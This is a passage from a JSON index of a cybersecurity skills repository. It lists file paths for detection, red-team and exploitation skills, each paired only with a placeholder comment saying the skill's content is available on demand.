/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rootkit-activity%2Freferences%2Fapi-reference.md -->","skills/detecting-s3-data-exfiltration-attempts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-s3-data-exfiltration-attempts%2FSKILL.md -->","skills/detecting-s3-data-exfiltration-attempts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-s3-data-exfiltration-attempts%2Freferences%2Fapi-reference.md -->","skills/detecting-secure-boot-bypass/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-secure-boot-bypass%2FSKILL.md -->","skills/detecting-secure-boot-bypass/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-secure-boot-bypass%2Freferences%2Fapi-reference.md -->","skills/detecting-secure-boot-bypass/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-secure-boot-bypass%2Freferences%2Fstandards.md -->","skills/detecting-serverless-function-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-serverless-function-injection%2FSKILL.md -->","skills/detecting-serverless-function-injection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-serverless-function-injection%2Freferences%2Fapi-reference.md -->","skills/detecting-service-account-abuse/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2FSKILL.md -->","skills/detecting-service-account-abuse/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Fassets%2Ftemplate.md -->","skills/detecting-service-account-abuse/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Freferences%2Fapi-reference.md -->","skills/detecting-service-account-abuse/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Freferences%2Fstandards.md -->","skills/detecting-service-account-abuse/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-service-account-abuse%2Freferences%2Fworkflows.md -->","skills/detecting-shadow-api-endpoints/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-api-endpoints%2FSKILL.md -->","skills/detecting-shadow-api-endpoints/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-api-endpoints%2Freferences%2Fapi-reference.md -->","skills/detecting-shadow-it-cloud-usage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-it-cloud-usage%2FSKILL.md -->","skills/detecting-shadow-it-cloud-usage/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-shadow-it-cloud-usage%2Freferences%2Fapi-reference.md -->","skills/detecting-spearphishing-with-email-gateway/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2FSKILL.md -->","skills/detecting-spearphishing-with-email-gateway/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Fassets%2Ftemplate.md -->","skills/detecting-spearphishing-with-email-gateway/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Freferences%2Fapi-reference.md -->","skills/detecting-spearphishing-with-email-gateway/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Freferences%2Fstandards.md -->","skills/detecting-spearphishing-with-email-gateway/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-spearphishing-with-email-gateway%2Freferences%2Fworkflows.md -->","skills/detecting-sql-injection-via-waf-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-sql-injection-via-waf-logs%2FSKILL.md -->","skills/detecting-sql-injection-via-waf-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-sql-injection-via-waf-logs%2Freferences%2Fapi-reference.md -->","skills/detecting-stuxnet-style-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-stuxnet-style-attacks%2FSKILL.md -->","skills/detecting-stuxnet-style-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-stuxnet-style-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-supply-chain-attacks-in-ci-cd/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-supply-chain-attacks-in-ci-cd%2FSKILL.md -->","skills/detecting-supply-chain-attacks-in-ci-cd/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-supply-chain-attacks-in-ci-cd%2Freferences%2Fapi-reference.md -->","skills/detecting-suspicious-oauth-application-consent/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-oauth-application-consent%2FSKILL.md -->","skills/detecting-suspicious-oauth-application-consent/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-oauth-application-consent%2Freferences%2Fapi-reference.md -->","skills/detecting-suspicious-powershell-execution/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2FSKILL.md -->","skills/detecting-suspicious-powershell-execution/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Fassets%2Ftemplate.md -->","skills/detecting-suspicious-powershell-execution/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Freferences%2Fapi-reference.md -->","skills/detecting-suspicious-powershell-execution/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Freferences%2Fstandards.md -->","skills/detecting-suspicious-powershell-execution/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-suspicious-powershell-execution%2Freferences%2Fworkflows.md -->","skills/detecting-t1003-credential-dumping-with-edr/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2FSKILL.md -->","skills/detecting-t1003-credential-dumping-with-edr/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Fassets%2Ftemplate.md -->","skills/detecting-t1003-credential-dumping-with-edr/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Freferences%2Fapi-reference.md -->","skills/detecting-t1003-credential-dumping-with-edr/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Freferences%2Fstandards.md -->","skills/detecting-t1003-credential-dumping-with-edr/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1003-credential-dumping-with-edr%2Freferences%2Fworkflows.md -->","skills/detecting-t1055-process-injection-with-sysmon/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2FSKILL.md -->","skills/detecting-t1055-process-injection-with-sysmon/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Fassets%2Ftemplate.md -->","skills/detecting-t1055-process-injection-with-sysmon/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Freferences%2Fapi-reference.md -->","skills/detecting-t1055-process-injection-with-sysmon/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Freferences%2Fstandards.md -->","skills/detecting-t1055-process-injection-with-sysmon/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1055-process-injection-with-sysmon%2Freferences%2Fworkflows.md -->","skills/detecting-t1548-abuse-elevation-control-mechanism/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2FSKILL.md -->","skills/detecting-t1548-abuse-elevation-control-mechanism/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Fassets%2Ftemplate.md -->","skills/detecting-t1548-abuse-elevation-control-mechanism/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Freferences%2Fapi-reference.md -->","skills/detecting-t1548-abuse-elevation-control-mechanism/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Freferences%2Fstandards.md -->","skills/detecting-t1548-abuse-elevation-control-mechanism/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-t1548-abuse-elevation-control-mechanism%2Freferences%2Fworkflows.md -->","skills/detecting-typosquatting-packages-in-npm-pypi/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages-in-npm-pypi%2FSKILL.md -->","skills/detecting-typosquatting-packages-in-npm-pypi/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages-in-npm-pypi%2Freferences%2Fapi-reference.md -->","skills/detecting-typosquatting-packages/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages%2FSKILL.md -->","skills/detecting-typosquatting-packages/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages%2Freferences%2Fapi-reference.md -->","skills/detecting-typosquatting-packages/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-typosquatting-packages%2Freferences%2Fstandards.md -->","skills/detecting-wmi-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-wmi-persistence%2FSKILL.md -->","skills/detecting-wmi-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-wmi-persistence%2Freferences%2Fapi-reference.md -->","skills/emulating-cloud-attacks-with-stratus-red-team/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Femulating-cloud-attacks-with-stratus-red-team%2FSKILL.md -->","skills/emulating-cloud-attacks-with-stratus-red-team/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Femulating-cloud-attacks-with-stratus-red-team%2Freferences%2Fapi-reference.md -->","skills/emulating-cloud-attacks-with-stratus-red-team/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Femulating-cloud-attacks-with-stratus-red-team%2Freferences%2Fstandards.md -->","skills/enumerating-cloud-with-cloudfox/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fenumerating-cloud-with-cloudfox%2FSKILL.md -->","skills/enumerating-cloud-with-cloudfox/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fenumerating-cloud-with-cloudfox%2Freferences%2Fapi-reference.md -->","skills/enumerating-cloud-with-cloudfox/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fenumerating-cloud-with-cloudfox%2Freferences%2Fstandards.md -->","skills/eradicating-malware-from-infected-systems/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2FSKILL.md -->","skills/eradicating-malware-from-infected-systems/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Fassets%2Ftemplate.md -->","skills/eradicating-malware-from-infected-systems/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Freferences%2Fapi-reference.md -->","skills/eradicating-malware-from-infected-systems/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Freferences%2Fstandards.md -->","skills/eradicating-malware-from-infected-systems/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Feradicating-malware-from-infected-systems%2Freferences%2Fworkflows.md -->","skills/escaping-containers-to-host/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fescaping-containers-to-host%2FSKILL.md -->","skills/escaping-containers-to-host/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fescaping-containers-to-host%2Freferences%2Fapi-reference.md -->","skills/escaping-containers-to-host/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fescaping-containers-to-host%2Freferences%2Fstandards.md -->","skills/evaluating-threat-intelligence-platforms/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fevaluating-threat-intelligence-platforms%2FSKILL.md -->","skills/evaluating-threat-intelligence-platforms/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fevaluating-threat-intelligence-platforms%2Freferences%2Fapi-reference.md -->","skills/executing-active-directory-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-active-directory-attack-simulation%2FSKILL.md -->","skills/executing-active-directory-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-active-directory-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/executing-nist-rmf-authorization-to-operate/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-nist-rmf-authorization-to-operate%2FSKILL.md -->","skills/executing-nist-rmf-authorization-to-operate/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-nist-rmf-authorization-to-operate%2Fassets%2Ftemplate.md -->","skills/executing-nist-rmf-authorization-to-operate/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-nist-rmf-authorization-to-operate%2Freferences%2Fstandards.md -->","skills/executing-phishing-simulation-campaign/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-phishing-simulation-campaign%2FSKILL.md -->","skills/executing-phishing-simulation-campaign/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-phishing-simulation-campaign%2Freferences%2Fapi-reference.md -->","skills/executing-red-team-engagement-planning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2FSKILL.md -->","skills/executing-red-team-engagement-planning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Fassets%2Ftemplate.md -->","skills/executing-red-team-engagement-planning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Freferences%2Fapi-reference.md -->","skills/executing-red-team-engagement-planning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Freferences%2Fstandards.md -->","skills/executing-red-team-engagement-planning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-engagement-planning%2Freferences%2Fworkflows.md -->","skills/executing-red-team-exercise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-exercise%2FSKILL.md -->","skills/executing-red-team-exercise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexecuting-red-team-exercise%2Freferences%2Fapi-reference.md -->","skills/exploiting-active-directory-certificate-services-esc1/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2FSKILL.md -->","skills/exploiting-active-directory-certificate-services-esc1/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Fassets%2Ftemplate.md -->","skills/exploiting-active-directory-certificate-services-esc1/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Freferences%2Fapi-reference.md -->","skills/exploiting-active-directory-certificate-services-esc1/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Freferences%2Fstandards.md -->","skills/exploiting-active-directory-certificate-services-esc1/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-certificate-services-esc1%2Freferences%2Fworkflows.md -->","skills/exploiting-active-directory-with-bloodhound/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2FSKILL.md -->","skills/exploiting-active-directory-with-bloodhound/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Fassets%2Ftemplate.md -->","skills/exploiting-active-directory-with-bloodhound/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Freferences%2Fapi-reference.md -->","skills/exploiting-active-directory-with-bloodhound/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Freferences%2Fstandards.md -->","skills/exploiting-active-directory-with-bloodhound/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-active-directory-with-bloodhound%2Freferences%2Fworkflows.md -->","skills/exploiting-adcs-with-certipy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-adcs-with-certipy%2FSKILL.md -->","skills/exploiting-adcs-with-certipy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-adcs-with-certipy%2Freferences%2Fapi-reference.md -->","skills/exploiting-adcs-with-certipy/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-adcs-with-certipy%2Freferences%2Fstandards.md -->","skills/exploiting-api-injection-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-api-injection-vulnerabilities%2FSKILL.md -->","skills/exploiting-api-injection-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-api-injection-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-aws-with-pacu/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-aws-with-pacu%2FSKILL.md -->","skills/exploiting-aws-with-pacu/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-aws-with-pacu%2Freferences%2Fapi-reference.md -->","skills/exploiting-aws-with-pacu/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-aws-with-pacu%2Freferences%2Fstandards.md -->","skills/exploiting-bgp-hijacking-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-bgp-hijacking-vulnerabilities%2FSKILL.md -->","skills/exploiting-bgp-hijacking-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-bgp-hijacking-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-broken-function-level-authorization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-function-level-authorization%2FSKILL.md -->","skills/exploiting-broken-function-level-authorization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-function-level-authorization%2Freferences%2Fapi-reference.md -->","skills/exploiting-broken-link-hijacking/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-link-hijacking%2FSKILL.md -->","skills/exploiting-broken-link-hijacking/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-broken-link-hijacking%2Freferences%2Fapi-reference.md -->","skills/exploiting-constrained-delegation-abuse/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2FSKILL.md -->","skills/exploiting-constrained-delegation-abuse/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2Freferences%2Fapi-reference.md -->","skills/exploiting-constrained-delegation-abuse/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2Freferences%2Fstandards.md -->","skills/exploiting-constrained-delegation-abuse/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-constrained-delegation-abuse%2Freferences%2Fworkflows.md -->","skills/exploiting-deeplink-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2FSKILL.md -->","skills/exploiting-deeplink-vulnerabilities/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Fassets%2Ftemplate.md -->","skills/exploiting-deeplink-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-deeplink-vulnerabilities/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Freferences%2Fstandards.md -->","skills/exploiting-deeplink-vulnerabilities/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-deeplink-vulnerabilities%2Freferences%2Fworkflows.md -->","skills/exploiting-excessive-data-exposure-in-api/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-excessive-data-exposure-in-api%2FSKILL.md -->","skills/exploiting-excessive-data-exposure-in-api/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-excessive-data-exposure-in-api%2Freferences%2Fapi-reference.md -->","skills/exploiting-http-request-smuggling/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-http-request-smuggling%2FSKILL.md -->","skills/exploiting-http-request-smuggling/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-http-request-smuggling%2Freferences%2Fapi-reference.md -->","skills/exploiting-idor-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-idor-vulnerabilities%2FSKILL.md -->","skills/exploiting-idor-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-idor-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/exploiting-insecure-data-storage-in-mobile/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2FSKILL.md -->","skills/exploiting-insecure-data-storage-in-mobile/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Fassets%2Ftemplate.md -->","skills/exploiting-insecure-data-storage-in-mobile/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Freferences%2Fapi-reference.md -->","skills/exploiting-insecure-data-storage-in-mobile/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Freferences%2Fstandards.md -->","skills/exploiting-insecure-data-storage-in-mobile/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-data-storage-in-mobile%2Freferences%2Fworkflows.md -->","skills/exploiting-insecure-deserialization/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-deserialization%2FSKILL.md -->","skills/exploiting-insecure-deserialization/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-insecure-deserialization%2Freferences%2Fapi-reference.md -->","skills/exploiting-ipv6-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fexploiting-ipv6-vulnerabilities%2FSKILL.md 